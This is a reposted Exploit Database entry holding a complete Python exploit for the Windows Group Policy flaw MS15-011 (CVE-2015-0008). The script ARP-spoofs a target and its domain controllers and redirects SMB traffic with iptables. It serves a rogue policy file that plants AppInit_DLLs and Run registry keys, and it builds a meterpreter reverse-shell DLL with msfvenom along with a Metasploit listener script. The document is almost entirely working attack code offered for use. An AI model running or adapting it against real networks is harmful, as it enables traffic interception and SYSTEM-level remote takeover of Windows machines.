Microsoft Windows Server 2012 – ‘Group Policy’ Remote Code Execution (MS15-011)

Exploit Database
104 阅读

作者： Thomas Zuk

日期： 2019-10-29
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/47558/

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# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution

# Date: 2019-10-28

# Exploit Author: Thomas Zuk

# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012,

# Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1

# Tested on: Windows 7 , Windows Server 2012

# CVE : CVE-2015-0008

# Type: Remote

# Platform: Windows

# Description: While there exists multiple advisories for the vulnerability and video demos of

# successful exploitation there is no public exploit-code for MS15-011 (CVE-2015-0008). This exploit code

# targets vulnerable systems in order to modify registry keys to disable SMB signing, achieve SYSTEM level

# remote code execution (AppInit_DLL) and a user level remote code execution (Run Keys).

#!/usr/bin/python3

import argparse

import os

import subprocess

import socket

import fcntl

import struct

# MS15-011 Exploit.

# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-011

# Example usage: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -i eth1

# Example usage with multiple DC's: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1

# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.

def arpSpoof(interface, hostIP, targetIP):

arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)

arpArgs = arpCmd.split()

print("Arpspoofing: %s" % (arpArgs))

p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

def karmaSMB(hostIP):

print("reverting GptTmpl.inf from bak")

os.system("cp GptTmpl.inf.bak GptTmpl.inf")

appInit = 'MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs=1,"\\\\%s\\SYSVOL\\share.dll"\r\n' % (hostIP)

CURunKey = 'MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Key=1,"rundll32.exe \\\\%s\\SYSVOL\\share.dll",1\r\n' % (hostIP)

f = open("GptTmpl.inf","a", encoding='utf-16le')

f.write(appInit)

f.write(CURunKey)

f.close()

path = os.getcwd()

fConfig = open("smb.conf","w")

fConfig.write("ini = "+path+"/gpt.ini\ninf = "+path+"/GptTmpl.inf\ndll = "+path+"/shell.dll\n")

fConfig.close()

karmaCmd = "python karmaSMB.py -config smb.conf -smb2support ./ "

os.system(karmaCmd)

def iptables_config(targetIP, hostIP):

print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')

print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))

print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))

print('[+] Running command: iptables -t nat -A POSTROUTING -j MASQUERADE')

os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')

os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))

os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))

os.system('iptables -t nat -A POSTROUTING -j MASQUERADE')

def get_interface_address(ifname):

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

def generatePayload(lhost, lport):

print("generating payload(s) and metasploit resource file")

msfDll = "msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=%s lport=%s -f dll -o shell.dll" % (lhost, lport)

os.system(msfDll)

msfResource = "use multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost %s\nset lport %s\nset exitonsession false\nexploit -j\n" % (lhost, lport)

print("metasploit resource script: %s" % msfResource)

print ("metasploit resource script written to meta_resource.rc type 'msfconsole -r meta_resource.rc' to launch metasploit and stage a listener automatically")

file = open("meta_resource.rc", "w+")

file.write(msfResource)

file.close()

if __name__ == '__main__':

parser = argparse.ArgumentParser()

# Add arguments

parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-011/14", required=True)

parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller(s) in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)

parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)

parser.add_argument("-l", "--lhost", help="The IP to listen for incoming connections on for reverse shell. This is optional, uses the IP from the provided interface by default. E.G 192.168.5.1", required=False)

parser.add_argument("-p", "--lport", help="The port to listen connections on for reverse shell. If not specified 4444 is used. E.G 443", required=False)

args = parser.parse_args()

# Check for KarmaSMB and GptTmpl.inf.bak, if missing download git repo with these files.

print ("checking for missing file(s)")

if not os.path.isfile("karmaSMB.py") and not os.path.isfile("GptTmpl.inf.bak"):

print("Requirements missing. Downloading required files from github")

os.system("git clone https://github.com/Freakazoidile/MS15-011-Files")

os.system("mv MS15-011-Files/* . && rm -rf MS15-011-Files/")

# Get the provided interfaces IP address

ipAddr = get_interface_address(args.interface)

if args.lhost is not None:

lhost = args.lhost

else:

lhost = ipAddr

if args.lport is not None:

lport = args.lport

else:

lport = '4444'

dcSpoof = ""

dcCommaList = ""

count = 0

# loop over the domain controllers, poison each and target the host IP

# create a comma separated list of DC's

# create a "-t" separate list of DC's for use with arpspoof

for dc in args.domain_controller:

dcSpoof += "-t %s " % (dc)

if count > 0:

dcCommaList += ",%s" % (dc)

else:

dcCommaList += "%s" % (dc)

arpSpoof(args.interface, dc, "-t %s" % (args.target_ip))

count += 1

# arpspoof the target and all of the DC's

arpSpoof(args.interface, args.target_ip, dcSpoof)

# generate payloads

generatePayload(lhost, lport)

# Setup iptables forwarding rules

iptables_config(args.target_ip, ipAddr)

#run Karmba SMB Server

karmaSMB(ipAddr)

print("Targeting %s by arp spoofing %s and domain controllers: %s " % (args.target_ip, args.target_ip, args.domain_controllers))

print("If you interupt/stop the exploit ensure you stop all instances of arpspoof and flush firewall rules!")